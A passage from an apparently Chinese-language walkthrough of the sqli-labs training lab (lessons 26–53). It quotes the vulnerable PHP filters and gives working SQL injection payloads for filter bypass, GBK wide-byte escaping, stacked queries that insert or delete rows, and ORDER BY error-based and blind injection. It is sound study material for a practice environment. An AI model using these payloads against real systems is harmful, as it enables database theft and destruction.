and or union where limit group by select ' hex substrpreg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)1 && substr(user, 1, 1)=lower(conv(11, 10, 16))1 && lpad(user, 7, 1)
and or union where limit group by select ' hex substr 空格preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)1 && lpad(user, 7, 1)1%0b||%0blpad(user, 7, 1)

所以黑名单还是不可靠,还是得用白名单。

Lesson 26-26a

考点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

依旧还是绕过过滤,这次增加了 /* , -- , 空格/\ , 26a为盲注。

payloads

1
?id=0'||extractvalue(1, concat(0x5c, (database())))||'1'='1

同样除了空格外,其他函数依旧可以双写绕过。

Lesson 27-27a

考点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$id=$_GET['id'];
$id= blacklist($id);

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}

这次增加了 union select , 27a为盲注。

payloads

1
?id=0'||extractvalue(1, concat(0x5c, (seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||'1'='1

混合大小写是一种方法,也可以直接写盲注脚本跑。

Lesson 28-28a

考点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}

payloads

1
?id=0')union(select%0d1,database(),'3

只是为了绕 union select 的话就可以这样。

Lesson 29-31

考点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}

function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}

白名单策略, $id1 只能为数字, $qs 前两个字符必须为 id ,并且 $qs 截取3-30个字符,意思就是说命令不能超过27个字符。30课只是双引号闭合。

payloads

1
login.php?id=1&id=' union select 1,database(),3 --+

Lesson 32-33

考点

1
2
3
4
5
6
7
8
9
10
11
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}

32课考察宽字节注入。

1
2
3
4
5
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}

33课用 addslashes 函数过滤引号。

payloads

1
?id=-1%df%5c%27union select 1,database(),3%23

PHP语句补充讲解

preg_quote() : 需要参数 str 并向其中 每个正则表达式语法中的字符前增加一个反斜线。 这通常用于你有一些运行时字符串 需要作为正则表达式进行匹配的时候。
addslashes() :在引号前添加 \

解析[8]

基本概念

  • 在mysql中,用于转义(即在字符串中的符号前加上”\”)的函数有 addslashesmysql_real_escape_stringmysql_escape_string 等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。

  • 字符:字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。

  • UTF8:由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。

  • 宽字节:GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。

MYSQL的字符集转换过程

  1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

  2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:

  • 使用每个数据字段的CHARACTER SET设定值;
  • 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
  • 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
  • 若上述值不存在,则使用character_set_server设定值。

宽字节注入原理

  • GBK 占用两字节

  • ASCII占用一字节

  • PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为 \ ),MYSQL默认字符集是GBK等宽字节字符集。

  • 大家都知道 %df’(空格) 被PHP转义(开启GPC、用 addslashes 函数,或者 icov 等),单引号被加上反斜杠 \ ,变成了 %df\' ,其中\的十六进制是 %5C ,那么现在 %df\’ = %df%5c%27 ,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是 ,也就是说: %df\’ = %df%5c%27 = 縗’ ,即可构造出单引号。

Lesson 34

考点

1
2
3
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

post形式的宽字节注入。

payloads

1
admin%df%5c%27union select 1,database(),3%23

需要burp改包了。

Lesson 35-37

考点

1
2
3
4
5
6
7
8
9
$id=check_quotes($_GET['id']);;
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}

其实依旧是考宽字节注入,不过35课可以直接普通的数字型注入。

PHP语句补充讲解

mysql_real_escape_string : 函数转义 SQL 语句中使用的字符串中的特殊字符。如: \x00 , \n , \r , \ , ' , " , \x1a

Lesson 37

考点

1
2
3
4
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

37课为post方法的宽字节注入,burp抓包改改就行了。

Lesson 38-41

考点

1
2
3
4
5
6
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))
{
……
}

38,39课都是普通的堆叠注入,只是字符串与数字型的差别。40,41课则是盲注,没有回显而已。

考察堆叠注入。

payloads

1
?id=1';insert into users(id,username,password) values (27,'test','test')--+

PHP语句补充讲解

mysqli_multi_query : 执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。

解析[9]

堆叠注入说明

在SQL中,分号 ; 是用来表示一条sql语句的结束。在 ; 结束一个sql语句后继续构造下一条语句会一起执行,因此就造成了堆叠注入。

而堆叠注入与联合注入( union select )的区别就在于:

  • 联合注入执行的语句类型是有限的,往往用来执行查询语句;
  • 堆叠注入以执行任意语句,前提是拥有相应的权限,而这一点往往受到API或者数据库引擎的限制。

Lesson 42-45

考点

1
2
3
4
5
6
7
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
……
}

同样考的堆叠注入,只是换成POST方法。44、45课为盲注。

payloads

1
login_password=';delete from users where username="test2";#

username随机即可。

Lesson 46-49

考点

1
2
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";

考察order by 注入。规律一样,分为字符型和数字型的注入,同时有报错回显的和盲注都来一遍。

payloads

1
?sort=1 and extractvalue(1,concat(0x3c,(select database()))); --+

解析[9]

order by 方法解析

order by 是mysql中对查询数据进行排序的方法:

1
2
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序

重点在于 order by 后既可以填列名或者是一个数字。比如:

1
2
select * from user order by id;
selecr * from user order by 1;

order by 在sql注入中的运用

  • 简单注入判断
1
2
http://localhost/index.php?order=11
http://localhost/index.php?order=1

利用order by子句进行快速猜解列数,再配合union select语句进行回显。在不知道列名的情况下可以通过列的的序号来指代相应的列。

  • 构造报错
1
http://localhost/index.php?order=1 and extractvalue(1,concat(0x3c,(select database())));--+
  • 构造时间盲注
1
http://localhost/index.php?order=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) --+
  • 基于rand()构造盲注
1
http://localhost/index.php?id=1 order by rand(ascii(mid((select database()),1,1))>96) --+

根据order by rand(true); order by rand(false); 返回不同进行盲注。原理是 order by rand()会随机给每个数据生成一个随机数,然后按照随机数排序,truefalse实际上转成了整形的1和0作为rand()的种子,这样给每一列都会成一个固定的数,然后根据这个数来排序,所以结果会不同。实际出漏洞的原因跟基于floor()的报错原理中rand函数起到的功能一样。

Lesson 50-53

考点

1
2
3
4
5
6
$id=$_GET['sort'];
$sql="SELECT * FROM users ORDER BY $id";
if (mysqli_multi_query($con1, $sql))
{
……
}

堆叠注入与order by 注入相结合。又是4课套路式练习(字符、数字、盲注)。

payloads

1
?sort=1;delete from users where username="admin2"

关于challenges部分(Lesson 54-65)

我看了看,主要是限制注入次数。主要是注重对之前所学知识的贯通,接下来学习意义不大,还不如刷几道CTF题目,所以暂时就不写题解了。

参考文献

1.Mysql报错注入原理分析(count()、rand()、group by)
2.mysql load_file在数据库注入中使用
3.SQL布尔型盲注思路分析(入门必看)
4.sql盲注之时间盲注
5.Sqli-labs通关文档
6.浅谈http头注入(附案例)
7.SQL注入绕过技巧
8.SQL注入教程——(四)宽字节注入
9.sql注入之order by注入